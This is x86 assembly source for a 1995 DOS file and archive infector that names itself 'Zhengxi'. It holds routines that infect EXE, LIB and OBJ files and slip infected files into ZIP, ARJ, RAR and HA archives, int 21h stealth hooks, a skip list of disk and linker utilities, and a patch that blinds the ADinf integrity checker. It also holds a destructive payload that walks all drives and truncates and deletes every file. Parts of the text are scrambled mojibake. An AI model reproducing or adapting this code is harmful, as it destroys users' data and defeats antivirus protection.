;*Å**[process LIB]*********************************************************Å* pblabel process_lib ;CALL CHECK_PROCESS_NAME ; ⪠§ à ¦¥-¨¥ LIB § -¨¬ ¥â ¬-®£® ¢à¥¬¥-¨ ; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, etc byte ptr [libhdr.lib_hdr_dict_offs], 0 lib$ret ;already infect ;infect mov di, 8 ;search lea si, [vir_heap._libhdr] call calculate_crc ;<add si,3 ;; § à ¦¥-¨¥ '___write', '__ioalloc_' ¨â¯ cmp_ax_CRC32w <80h, 6, 0, 4, 'E', 'X', 'I', je exfound cmp_ax_CRC32w <80h, 6, 0, 4, 'e', 'x', 'i', je exfound mov dx, 10h-HDRBUFSIZE call dosseek_cur_cx_1 mov cx, 10h div cx mov [virobjblk], ax call read_buf_22 cmp al, HDRBUFSIZE CYCLE E end_process_dictionary: lib$ret: ret cmp jne DO

exitcode of 'C' program for 'EXIT'

'T'> 't'>


pblabel exfound cmp byte ptr [libhdr+14h], 32h je lib$ret call process_obj ;hmmm... jc lib$ret call dosseek_bof call read_buf_22 mov ax, [lib_dict_offset] add [libhdr.lib_hdr_dict_offs.lo], ax adc [libhdr.lib_hdr_dict_offs.hi], 0 call write_exehdr ; call dosseek_bof ; call doswrite_shbuf_22 ;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬¥à ¢áâ ¢ª¨ ¢ ¯ à £à * å ;seek (lib_hdr_dict_offs) mov cx, [libhdr.lib_hdr_dict_offs.hi] mov dx, [libhdr.lib_hdr_dict_offs.lo] call dosseek DO lea dx, [heap]

mov call mov cmp jne call lea mov DO

cx, LIB_DICTIONARY_ENTRY_SIZE dosread ; read (heap, 0x200) dx, LIB_DICTIONARY_ENTRY_SIZE ax, dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHF end_process_dictionary ;< ¯®á«¥ í⮣® - ¤®-¡ë dosseek_cur_neg_dx ; áâàã-ª¥©â¨âì extended dictionary. si, [heap] ; process:) cx, 25h

lodsb push si mov ah, ch ;ch=0 add ax, ax DOIF NZ add ax, offset heap xchg si, ax lodsb mov ah, ch ;ch=0 add si, ax cmp word ptr [si], UNINIT virobjblk equ word ptr ($-2) DOIF A mov ax, [lib_dict_offset] shr ax, 4 add word ptr [si], ax DONE DONE pop si CYCLE LU mov cx, LIB_DICTIONARY_ENTRY_SIZE call doswrite_from_heap ; write (heap, 0x200) CYCLE ;**************************************************************************** ;*Å**[process HA]*********************************************************Å* pblabel process_ha ;int 2bh mov ax, [hahdr.filecnt] inc ax mov [hafcount], ax mov ax, HDRBUFSIZE - (size ha_main) call dosseek_cur_neg_ax jmp sss pblabel cycle8 ;seek(size ha_file_hdr)+size name+machine+1 lea si, [vir_heap._hahdr.ha_name] mov cx, 42h ; max length name DO lodsb and al, al CYCLE LUNZ jcxz error_exit2 lodsb mov ah, 0 sub cx, 34h sub ax, cx sbb cx, cx ;<cx=0 add ax, [hahdr.ha_compress_size.lo] adc cx, [hahdr.ha_compress_size.hi] xchg dx, ax call dosseek_cur sss: ;read(header)

call read_buf_22 cmp [hahdr.ha_ver_method], HA_METHOD_STORED je error_exit2 cmp al, HDRBUFSIZE je cycle8 cmp al, 0 jne error_exit2 ;/+- CREATE HAHDR -+lea di, [vir_heap._crthdr] sto_byte HA_METHOD_STORED call store_fisize lea si, [vir_heap._arx_crc] movs4 ;d;file crc_32 call create_dtim1 sto_byte 0 ; sto_word '/' call store_fname sto_two_byte 0, 2 sto_two_byte 1, 20h ;\+- CREATE HAHDR -+mov cx, [fnamesize] add cx, SIZE ha_file_hdr + 3 ; 0h lea dx, [vir_heap._crthdr] call doswrite mov cx, word ptr [fisize] mov dx, word ptr [fioff] call doswrite mov dx, 2 call dosseek_cx_0 mov cx, 2 lea dx, [vir_heap._hafcount] jmp doswrite ;**************************************************************************** ;*Å**[process RAR]*********************************************************Å* pblabel process_rar DO cmp [rarhdr.rar_head_type], 73h ; DOIF E ;test for multi-volume archive (?) test byte ptr [rarhdr.rar_head_flags], 1h DOIF NZ pblabel error_exit2 ret DONE ; remove Authenticity information present flag and byte ptr [rarhdr.rar_head_flags], not 20h call dosseek_cur_neg_ax mov di, SIZE rar_main_hdr - 2 lea si, [vir_heap._rarhdr.rar_head_type] call Calculate_CRC mov [rarhdr.rar_head_crc], cx call DosWrite_shbuf_22 DONE cmp [rarhdr.rar_method], RAR_METHOD_STORED je error_exit2 mov dx, [rarhdr.rar_f_head_size] sub dx, HDRBUFSIZE sbb cx, cx test byte ptr [rarhdr.rar_head_flags.1], 80h DOIF NZ add dx, [rarhdr.rar_compressed_size.lo] adc cx, [rarhdr.rar_compressed_size.hi] DONE call dosseek_cur call read_buf_22

pr_rar: and ax, ax ;if eof EXIT Z cmp [rarhdr.rar_head_type], 74h CYCLE BE ; if marker block or archive header push ax ;/+- CREATE RARHDR 1.50 -+LEA di, [vir_heap._crthdr+2] sto_two_byte 74h, 0 sto_byte 80h call sto_fnamesize_20 call store_fisize stosb ;rar_host_os =0 lea si, [vir_heap._arx_crc] movs4 ;d;file crc_32 call create_dtim1 sto_two_byte 0Fh, RAR_METHOD_STORED sto_word_ <[fnamesize]> mov al, 20h call stosw_sto_0 call store_fname lea si, [vir_heap._crthdr+2] sub di, si call Calculate_CRC mov word ptr [crthdr], cx ;[si-2] (?) ;\+- CREATE RARHDR -+pop ax call dosseek_cur_neg_ax mov cx, SIZE rar_file_hdr JMP f_insert_hdr_und_file ;**************************************************************************** ;include add2arj.as1 ;*Å**[process ARJ]*********************************************************Å* DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h) mov dx, [arjhdr.arj_bas_hdr_size] sub dx, HDRBUFSIZE-0Ah sbb cx, cx cmp [arjhdr.arj_original_size.lo], cx DOIF NE ; if first header - (great BUG) add dx, [arjhdr.arj_compressed_size.lo] adc cx, [arjhdr.arj_compressed_size.hi] cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED DOIF E pblabel error_exit3 ret DONE DONE call dosseek_cur call read_buf_22 pblabel process_arj test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?) jnz error_exit3 cmp [arjhdr.arj_bas_hdr_size], 0 CYCLE NE push ax ; ;/+- CREATE ARJHDR -+lea di, [vir_heap._crthdr] lea si, arj_h movsw ;arj_id call sto_fnamesize_20 movsw ;31e mov al, 1 stosw ;1

dec ax call create_dtim call store_fisize movs4 ;d;file crc_32 sto_word 0 stos2w ;0 call store_fname ;*;name stosw ;0 push di lea si, [vir_heap._crthdr.arj_first_hdr_size] sub di, si call calculate_crc pop di xchg ax, cx call st_dx_0 ;\+- CREATE ARJHDR -+pop ax call dosseek_cur_neg_ax mov cx, 2Ah ;SIZE zip_local_header pblabel f_insert_hdr_und_file CALL f_insert_hdr mov cx, word ptr [fisize] mov si, word ptr [fioff] jmp f_insert ;**************************************************************************** ;include add2zip.as1 ;*[create zip headers]******************************************************* pblabel create_zip LEA di, [vir_heap._crthdr] lea si, zip_h movsw ;'KP' lodsw ;304 DOIF NZ ;CENTRAL_FLAG ; $$if central sto_word ZIP_CNL_ID mov ax, word ptr ds:[si] ;20d;?ver? DONE stosw movsw ;14 mov ax, 2 pushf call create_dtim add_si4 movs4 ;d;file crc_32 call store_fisize mov ax, [fnamesize] call stosw_sto_0 ;extra field size =0 popf DOIF NZ ;CENTRAL_FLAG ; $$if central stos3w ;=0 mov al, 20h call stosw_sto_0 add_di4 DONE pblabel store_fname ;*;name mov cx, [fnamesize] rep movsb pblabel error_exit1 ret ;**************************************************************************** ;*Å**[process ZIP]*********************************************************Å* pblabel cycle1 mov dx, [ziphdr.zip_size_fname] sub dx, 4

sbb cx, cx add dx, [ziphdr.zip_extra_field_length] cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED je mustdie add dx, [ziphdr.zip_compressed_size.lo] adc cx, [ziphdr.zip_compressed_size.hi] call dosseek_cur call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr)) pblabel process_zip ;$BEEP$ ; DOIF E ; DONE cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID je cycle1 cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID jne error_exit1 call create_zip mov dx, - HDRBUFSIZE ; SIZE zip_local_header call dosseek_cur_cx_1 mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx mov cx, SIZE zip_local_header ;1e call f_insert_hdr_und_file jmp proc_cnt DO ; seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_ ; +ziphdr.file_comment_length_) mov dx, [ziphdr.zip_size_fname_] add dx, [ziphdr.zip_extra_field_length_] add dx, [ziphdr.zip_file_comment_length_] add dx, 0Ch call dosseek_cur_cx_0 pblabel proc_cnt call read_buf_22 cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN jne error_exit1 cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID CYCLE E cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID jne error_exit1 call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header)) inc [ziphdr.ttl_num_of_ent_on_this_disk] inc [ziphdr.ttl_num_of_ent_in_the_cent_dir] add [ziphdr.size_of_the_central_directory.lo], size zip_central_header mov ax, [fnamesize] cwd ;DX := 0 add [ziphdr.size_of_the_central_directory.lo], ax adc [ziphdr.size_of_the_central_directory.hi], dx add ax, [fisize] ;[zip_compressed_size.lo] add ax, SIZE zip_local_header add [ziphdr.off_of_strt_of_cent_directory.lo], ax adc [ziphdr.off_of_strt_of_cent_directory.hi], dx mov cx, SIZE zip_end_header call DosWrite_shbuf ;write zip_end_header cmp dx, bp ;zf=0 call create_zip ; create_centr_header mov dx, -SIZE zip_end_header ;-16 call dosseek_cur_cx_1 mov cx, SIZE zip_central_header ;**************************************************************************** ;%NOINCL

;.SALL ;shift_buffer_size = 13h pblabel f_insert_hdr add cx, [fnamesize] pblabel f_insert_hdr_wirhout_fname LEA si, [vir_heap._crthdr] pblabel f_insert push dx ax push cx ; insert_size xor cx,cx ; cx := 0 sub ax, HDRBUFSIZE sbb dx, cx mov [beg_pos.hi], dx mov [beg_pos.lo], ax dec cx ; cx := -1 mov dx, - HDRBUFSIZE mov al, 2 ; seek_end ( - shift_buffer_size ) call DosSeek_all DO call read_buf_22 ; read ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( insert_size - shift_buffer_size ) push dx sub dx, HDRBUFSIZE ; sub dx,ax (?) call dosseek_cur_cx_0 call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size ) push dx add dx, HDRBUFSIZE*2 call dosseek_cur_neg_dx ; #### DX:AX=curpos cmp dx, [beg_pos.hi] REPEAT A cmp ax, [beg_pos.lo] CYCLE A ;-+--------+- seek for write -+--------+pop ax ; insert_size pop dx cx push ax call dosseek mov dx, si pop cx call DosWrite jmp dostell ;**************************************************************************** ;shift_buffer_size = 22h ;**************************************************************************** pblabel sto_fnamesize_20 mov ax, 20h add ax, [fnamesize] stosw ret ;**************************************************************************** ;**************************************************************************** pblabel store_fisize xor dx, dx sto_word_ <[fisize]> ;.filesize xchg dx, ax pblabel st_dx_0 stosw ;d;hdr crc xchg ax, dx pblabel stosw_sto_0

stosw sto_word 0 ret ;**************************************************************************** ;**************************************************************************** pblabel create_dtim call stosw_sto_0 pblabel create_dtim1 sto_word TIMEMARKER ;time = const TIMEMARKER sto_word_ <[host_arx_date]> ret ;**************************************************************************** pblabel write_sizemarker ;write garbage lea di, [heap] ;from heap mov ax, SIZEMARKER+SIZEMARKER_MOD CALL SHIT_AX ;write virus call seek_end ;dx:ax - file size xor dx, dx mov cx, SIZEMARKER div cx sub cx, dx add cx, SIZEMARKER_MOD jmp doswrite_from_heap ;**************************************************************************** ;xEXE db '.EXE' ;xCOM db '.COM' pblabel hdrs CRC32w <'P','K','ETX','EOT'> ;ZIP CRC32w <060h,0EAh> ;ARJ CRC32w <'R','a','r','!'> ;RAR CRC32w <'H','A' > ;HA pblabel endarxex ; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS CRC32w <0F0h,0Dh> ;LIB CRC32w <080h> ;OBJ ; CRC32w <'F','B','O','V'> ;OVR CRC32w <'Z','M'> ;EXE CRC32w <'M','Z'> ;EXE pblabel offs dw process_zip dw process_arj dw process_rar dw process_ha ; dw process_sys dw process_lib dw process_obj ; dw process_ovr dw process_exe dw process_exe ;cmp_ax_CRC32w <2,1Ah,8Bh> pblabel api_entry call doscall iret pblabel mustdie DTADELTA equ 11H forDTAs equ heap+80h TROJANTIME=0

cmp [host_arx_date.h], 20h ;if 1996 year then must die! DOIF B ;executor cmp [ziphdr.zip_file_time], TROJANTIME DOIF E ;int 2bh call dosseek_cur_cx_0 lea dx, [api_entry] mov ax, 2503h call doscall lea dx, [heap] mov cx, [ziphdr.zip_compressed_size.lo] and ch, 1Fh ; maximum size=8K call dosread call dx ; mov di, cx ; mov si, dx ; call Calculate_CRC DONE ret DONE MOVSEG ds, cs MOVSEG es, cs next_disk: lea si, forDTAs lea di, [heap] disk=$+1 IFDEF RELIZ sto_two_byte 'C', ':' ELSE sto_two_byte 'D', ':' ENDIF cmp al, 'Z' je rt_err DO add si, DTADELTA mov dx, si mov ah, 1Ah call DosCall sto_byte '\' mov word ptr [di],'.*' mov word ptr [di+2],'*' mov cx, 3Fh lea dx, [heap] FindFirst: mov ah, 4Eh jmp short EndOfSearch DO FindNext: mov ah, 4Fh EndOfSearch: call DosCall DOIF C mov byte ptr [di-1], 0 lea dx, [heap] mov ah, 3Ah call DosCall DO dec di cmp byte ptr [di-1],'\' CYCLE NE sub si, DTADELTA

mov mov call cmp jae inc jmp DONE push add DO

dx, si ah, 1Ah DosCall si, offset forDTAs FindNext byte ptr ds:[disk] next_disk di si si, find_buf_pname

lodsb stosb or CYCLE NZ dec di pop si test je cmp jne @@0:

al, al

byte ptr [si.find_buf_attr], 10h @@0 byte ptr [si.find_buf_pname], '.' @@1

pop di ;file -> restore DI lea dx, [heap] mov cx, 20h mov ax, 4301h call DosCall mov ax, 3D21h call DosCall xchg bx, ax DOIF NC call DosTruncate call DosClose DONE mov ah, 41h call DosCall CYCLE @@1: pop CYCLE ends end INCLUDE ZURICH.ASI ;INCLUDE CRC.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code ;public get_crc_just_fname ;public get_own_name extrn DosCall :near extrn calculate_crc5 :near ;-+------------------------------------------------------------------------+;¯®«ãç¨âì * ©«-¥©¬ ¨§ á।ë ⥪ã饣® PSP ;proc ;return ds:dx =@ParamStr(0) {use cur PSP} ;-+------------------------------------------------------------------------+;CRPROC get_own_name, 79FCh ;public get_own_name pblabel get_own_name ax ;drop DI ; ;¥á«¨ ¤¨à¥ªâ®à¨ï +name

push es ax bx ; mov ah, 34h ; call DosCall ;BX-cur psp ; mov ds, es:[bx][0Fh] ;cur PSP mov ah, 51h int 21h mov ds, bx mov bx, PDB_environ mov ds, ds:[bx] ;cur envir DO inc bx cmp word ptr [bx-4], 0 CYCLE NZ mov dx, bx pop bx ax es ret ;endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+;ds:dx - string, ;(dx:cx)ax-crc of UpCase(JustFileName) ;ZF=1, ¥á«¨ CRC í⮣® ¨¬¥-¨ ¥áâì ¢ â ¡«¨æ¥ ;-+------------------------------------------------------------------------+;CRPROC get_crc_just_fname, 474Ah ;public get_crc_just_fname pblabel get_crc_just_fname push es push si di cx dx pushf movseg es, cs cld mov si, dx DO lodsb and al, al CYCLE NZ std lodsw DO lodsb cmp al, '\' EXIT E cmp al, ':' EXIT E cmp al, 0 CYCLE NZ popf lodsw call Calculate_CRC5 lea di, nostlnames mov cx, nostlnamescount repne scasw ;cmp di, cx ;<debug zf=0 pop dx cx di si pop es ret ;endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+;¯à¨ à ¡®â¥ íâ¨å * ©«®¢ ¢ëª«îç ¥âáï á⥫âá ;¨ ¥é¥: í⨠* ©«ë -¥ § à ¦ îâáï!

;-+------------------------------------------------------------------------+pblabel nostlnames CRC32w < 'U', 'U', 'E', 'N', 'C' > ;uuencode CRC32w < 'P', 'K', 'L', 'I', 'T' > ;PKLITE CRC32w < 'L', 'Z', 'E', 'X', 'E' > ;lzexe CRC32w < 'N', 'D', 'D', '.', 'E' > ;ndd.exe CRC32w < 'D', 'I', 'E', 'T', '.' > ;diet. CRC32w < 'S', 'C', 'A', 'N', 'D' > ;scandisk CRC32w < 'S', 'D', '.', 'E', 'X' > ;sd.exe CRC32w < 'S', 'P', 'E', 'E', 'D' > ;speedisk CRC32w < 'D', 'E', 'F', 'R', 'A' > ;defrag CRC32w < 'T', 'L', 'I', 'N', 'K' > ;tlink CRC32w < 'W', 'L', 'I', 'N', 'K' > ;Wlink CRC32w < 'L', 'I', 'N', 'K', '.' > ;link.exe CRC32w < 'D', 'P', 'M', 'I', '1' > ;DPMI16 CRC32w < 'D', 'P', 'M', 'I', '3' > ;DPMI32 CRC32w < 'R', 'T', 'M', '.', 'E' > ;RTM.EXE CRC32w < 'R', 'T', 'M', '3', '2' > ;RTM32.EXE nostlnamescount = ($-nostlnames)/2 ;-+------------------------------------------------------------------------+ends end include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code ;extrn begin_rnd_procs:dword ;extrn carrier :near ;extrn end_msg :near public r_lo public r_hi ;.model tiny ;.code ;10DCD ; r_hi r_lo ;------------------; xxxx xxxx r_lo * 0DCDh ; yyyy yyyy r_hi * 0DCDh ; r_hi r_lo * 1 ;------------------;*************************************************************************** pblabel RND_GET push dx cx mov ax, cs:r_lo mov cx, 0DCDh mul cx inc ax adc dx, 1111h r_lo equ word ptr $-2 mov cs:r_lo, ax mov ax, 1111h r_hi equ word ptr $-2 xchg cx, dx mul dx add ax, cx mov cs:r_hi, ax pop cx dx sahf ret ; dd ? ;*************************************************************************** pblabel RND_INIT

push mov mov push pop push pop

ds si si, 43h ds, si word ptr ds:[si-43h*11h+46Ch] ;lo cs:r_lo word ptr ds:[si-43h*11h+46Eh] ;hi cs:r_hi

push ax in al, 40h xor byte ptr cs:r_hi, al pop ax pop si ds ret ;*************************************************************************** ;extrn Calculate_CRC :near ;*************************************************************************** pblabel RND_GET_BYTE call RND_GET mov ah,0 ret ;*************************************************************************** pblabel RND_GET_THREE_BITS call RND_GET_BYTE pushf and al,00000111b popf ret ;*************************************************************************** ;rnd_procs_size = $-begin_rnd_procs ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code extrn InfectTurn :byte extrn r_lo:word extrn r_hi:word extrn InfectName :near extrn get_crc_just_fname:near extrn heap:near extrn crypt_exe_header:near extrn no_freq_proc :near extrn crypt_exe_header_custom:near extrn WRITE_EXEHDR :near extrn TEST_SIZE :near extrn STEALTHNAME :near extrn GET_SFT :near extrn vir_heap :near extrn InfectHandle :near extrn start_data :word extrn get_own_name :near extrn heap :near extrn st25 :near extrn ret_hook :dword extrn ret_sux :word extrn continue21 :near extrn get_cur_time :near extrn calculate_crc :near extrn vir_heap :near extrn Calculate_CRC:near

extrn Calculate_CRC5:near ;**************************************************************************** ;*** VIRUS STARTUP ****************************************************** ;**************************************************************************** org 0 pblabel virus_zero DB 0cH DUP (opNOP) dw 0 ;bp-30h : SS dw 0 ;bp-2eh : SP dw 0 ;bp-2ch : sum dw 0Ah+0cH ;bp-2ah : IP dw 0 ;bp-28h : CS nop .EXIT org VIRUSSTACKSIZE-16h pblabel begin_stack st_es dw ? ;-16 st_ds dw ? ;-14 st_di dw ? ;-12 st_si dw ? ;-10 st_bp dw ? ;-E st_sp dw ? ;-C st_bx dw ? ;-A st_dx dw ? ;-8 st_cx dw ? ;-6 st_ax dw ? ;-4 st_fl dw ? ;-2 pblabel end_stack ;**************************************************************************** pblabel virus_entry push si call vs public _____ _____ db (zmeflARX and 0FFh) ;0-classic EXE ;1-abnormal termination (for carrier) ;2-retf pblabel relocator DO SEGCS lodsb db opSEGCS, 88h, 44h shiftval db ? ; mov cs:[si+shiftval], al CYCLE LU iret pblabel vs pop si push ax cx di bp pushf std lea ax, _____ sub ax, si push ax and ax, 0Fh add al, 11h ;suxxx*10h+1h ; suxxx=1 mov cs:[si+(offset shiftval)-(offset _____)], al pop ax sar ax, 4 dec ax ; sub ax, suxxx mov bp, sp mov di, ss:[bp+4+6+2]

cmp byte ptr cs:[di-3], opCALL DOIF E add 1 ptr cs:[si+(offset shiftval)-(offset _____)], 060h sub ax, 06h dec di mov byte ptr cs:[di], 0ECh dec di mov byte ptr cs:[di], 8Bh dec di mov byte ptr cs:[di], 55h mov ss:[bp+4+6+2], di push cs push di pushf lea bp, vvvo DOELSE lea bp, vvv DONE mov cx, cs sub cx, ax push cx push bp lea si, [si+((offset start_data))-_____] mov cx, (offset start_data)-VIRUSSTACKSIZE+2 jmp relocator ;------------pblabel vvvo begin_auto: pop dword ptr cs:[frret] popf ;**************************************************************************** pblabel vvv pop bp di cx ax si ;save vect1 push ds MOVSEG ds, cs lea dx, tmp1 mov ax, 2501h int 21h pop ds pushf call trace_cpm popf cmp cs:_____, (zmeflOBJ and 0FFh) DOIF E inc sp inc sp retobj db 0EAh public_key: frret dd ? DONE cmp DOIF E retf DONE cmp jnz mov cs:_____, (zmeflIXE and 0FFh)

cs:_____, (zmeflEXE and 0FFh) ;-? carrier ;/

cs:[vir_heap._after_goto], offset goto_exe

call user_proc pblabel goto_EXE ;api ;(ss-es-0x17)<<4+sp ;ss=cs-1 ;(cs-es-0x18)<<4+sp mov ax, es mov si, 10h add ax, si push es push ax ;psp mov bx, cs sub ax, bx neg ax cwd mul si mov si, [save_SP] sub si, 7Eh add ax, si adc dx, 0 push si call crypt_exe_header_custom pop si lea di, [heap] mov cx, 16h/2 rep movsw call di pop ax pop es movseg ds, es add cs:[(heap-2).exe_SS], ax add cs:[(heap-2).exe_CS], ax mov ss, cs:[(heap-2).exe_SS] mov sp, cs:[(heap-2).exe_SP] jmp dword ptr cs:[(heap-2).exe_IP] ;**************************************************************************** pblabel carrier call endmsg ; db 'This program requires Microsoft Windows.' ; db 'The Application Program Interface (API) entered' ; db 'will only work in OS/2 mode.' db 'Abnormal program termination',CRLF,'$' ;public_key dd ? db CRLF,'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd' ; db CRLF,'Don''t distribute this program!',CRLF db CRLF,'Warning! This program for internal use only!',CRLF pblabel endmsg pop dx movseg ds, cs mov ah,9 int 21h .exit ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;funcs21 equ funcs21 equ <00,11,12,31,3D,3E,3F,41,42,48,49,4A,4B,4C,4E,4F,67,6C> ; <67,3E,6C,3F,49,00,3D,41,4A,11,4B,31,48,4C,4E,42,12,4F> ;

pblabel functions

% IRP foo, funcs21 db (&foo&h shl 1) xor &foo&h ENDM funcnt = $-functions MROR MACRO w1, shval dw (w1 shr (shval and 0Fh)) or ((w1 shl (10h-(shval and 0Fh))) and 0FFFFh) ENDM MROL MACRO w1, shval dw ((w1 shl (shval and 0Fh)) and 0FFFFh) or (w1 shr (10h-(shval and 0Fh))) ENDM % IRP foo, funcs21 MROR <((bfr_&foo-virus_zero) xor ($+2-virus_zero))>, <(bfr_aft-$)> MROL <((aft_&foo-virus_zero) - ($+2-virus_zero))>, <(bfr_aft-($-2))> public bfr_&foo public aft_&foo ENDM bfr_aft = $-4 ;-+------------------------------------------------------------------------+pblabel user_proc mov cs:[vir_heap._save_ss], ss mov cs:[vir_heap._save_sp], sp movseg ss, cs lea sp, end_stack pushf cli cld pushaw push ds es lea bp, vir_heap+80H call [after_goto] pblabel rt_err lea sp, begin_stack ;end_stack-20d pop es ds popaw popf mov ss, cs:[vir_heap._save_ss] mov sp, cs:[vir_heap._save_sp] retn ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel RANDOMIZE lea si, begin_auto mov di, end_auto-begin_auto mov [si+(public_key-begin_auto).lo], ax mov [si+(public_key-begin_auto).hi], dx call Calculate_CRC mov [r_lo], dx mov [r_hi], cx ret ;-+------------------------------------------------------------------------+pblabel end_auto ;-+------------------------------------------------------------------------+bfr_3E: call RND_GET DOIF BE ret

DONE jmp InfectHandle aft_3E: ;ret jmp InfectName ;-+------------------------------------------------------------------------+bfr_41: pblabel Doctor_Name mov ax, 3D12h ifInfJump NameCustom movseg ds, ss push ax dx call restore_header pop cx dx call dosseek ;seek call DosTruncate call write_exehdr jmp dosclose ;Doctor_Name endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_11: aft_12: movseg ds, cs and al, al jnz $ret mov ah, 2fh ; get DTA call DosCall mov ax, word ptr es:[bx+24h] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz $ret ; lea di, StealthName mov cx, 11d DO mov al, es:[bx+8] inc bx cmp al, ' ' DOIF NE mov ds:[di], al inc di DONE cmp cx, 4 DOIF E mov byte ptr ds:[di], '.' inc di DONE CYCLE LU mov byte ptr cs:[di], ch ;0 add bx, 0Ch jmp stlts_find_name ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_6C: test dl, 1 ;no open PASS Z test bl, 3 ;r/0 DOIF NZ push dx mov dx, si call Doctor_Name pop dx


<ds:[st_bx.l]>, xxxxxx10



DONE ;-+------------------------------------------------------------------------+bfr_49: aft_42: aft_00: aft_4C: bfr_4f: bfr_11: bfr_12: bfr_def: @retn: aft_def: aft_41: $ret: ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_4E: aft_4F: MOVSEG ds, cs lea di, StealthName-1 DO inc di cmp byte ptr [di], 0 CYCLE NZ DO dec di cmp di, offset StealthName-1 EXIT E cmp byte ptr [di], '\' CYCLE NE inc di mov ah, 2Fh ;get DTA call DosCall

mov DO

cx, 0Dh

;es:bx+1e -0Dh-> ds:di

push word ptr es:find_buf_pname[bx] pop ds:[di] inc di inc bx CYCLE LU TROJANFILETIME = (6 shl 11d) or (6 shl 5) or (6 shr 1) cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME ;DOIF E ;int 2bh ;DONE je added_to_turn test jnz ; call and jnz ;execut ; ; ; lea call jz RND_GET_BYTE ax, 0dh no_added_to_turn es:[(bx-0Dh).find_buf_attr], 10h ;directory ? no_added_to_turn

dx, StealthName get_crc_just_fname no_added_to_turn

;-+--added to turn-------------------------------------------------------+;ds:dx -> InfectTurn added_to_turn: lea si, StealthName lea di, InfectTurn push es movseg es, ss mov cx, 40h rep movsw pop es ;int 2bh ; cmp

es:[(bx-0Dh).find_buf_time], TROJANFILETIME

; DOIF Z ; call InfectName ; DONE pblabel no_added_to_turn ;#


mov ax, es:[(bx-0Dh).find_buf_size_l] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz @retn ; pblabel stlts_find_name ;extention test ? lea dx, StealthName mov si, bx IfInfJump Name ;R/o mode ? mov word ptr es:find_buf_size_l[si-0Dh], ax mov word ptr es:find_buf_size_h[si-0Dh], dx jmp dosclose ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_4E: movseg es, cs mov si, dx lea di, StealthName mov ah, 60h jmp doscall ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_3D: test al, 3 DOIF NZ ;W/O R/W call Doctor_Name MASKA <ds:[st_ax.l]>, xxxxxx10 ;R/W al $?ret: ret DONE

;comment # ;*************************ADINFUCK****************************************** call get_crc_just_fname cmp_ax_CRC32w <'A', '-', 'D', 'i', 'n'> jne $?ret mov si, cs:[save_SP] mov ax, word ptr ds:[si][4] add ah, 0Eh mov ds, ax xor si, si

DO mov di, 8 call Calculate_CRC cmp_ax_CRC32w <74h, 0Ah, 0C4h, 5Eh, 0E2h, 26h, 81h, 0Fh> lodsw PASS NE xor al, ah DOIF E mov ax, ds:[si-12] ;=1547 for {386}, =1557 for {86} add ax, offset adinf386_fuck-1547h mov byte ptr ds:[si-8], 3Dh ;fuck 3byte mov byte ptr ds:[si-5], 9Ah mov word ptr [si-4], ax mov word ptr [si-2], cs DO call Calculate_CRC5 cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h, 3> DOIF E xor byte ptr ds:[si-4], 0Bh xor 4 ; or ax,ax ret DONE sub si, 6 ;backward search CYCLE NZ DONE sub si, 9 ;forward search CYCLE NS ;<8000h ret ;-+-[ fucking adinf 9.xx and 10.xx ]---------------------------------------+;new file size in (ax:dx){86} or eax{386} ;old file size in es:[bx.15h] ;-+------------------------------------------------------------------------+MINVIRSIZE equ 6000d MAXVIRSIZE equ 16000d adinf386_fuck proc far push ax ; 1 sub ax, es:[bx+15h] ; 4 les bx, [bp][-001Eh] ; 3 cmp ax, MINVIRSIZE ; 3 ja continue_fuck_1f_386 ; 2 pop ax ; 1 end_fuck_1f_386: ret ; 1 ;-+------------------------------------------------------------------------+org adinf386_fuck+10h ;-+------------------------------------------------------------------------+adinf_fuck proc far xchg ax, dx ; 1 call adinf386_fuck ; 3 xchg ax, dx ; 1 ret ; 1 adinf_fuck endp ;-+------------------------------------------------------------------------+continue_fuck_1f_386: cmp ax, MAXVIRSIZE ; 3 pop ax ; 1 jb end_fuck_1f_386 ; 2 or word ptr es:[bx],808h ; 5 ;old command ret ; 1 adinf386_fuck endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_6C:

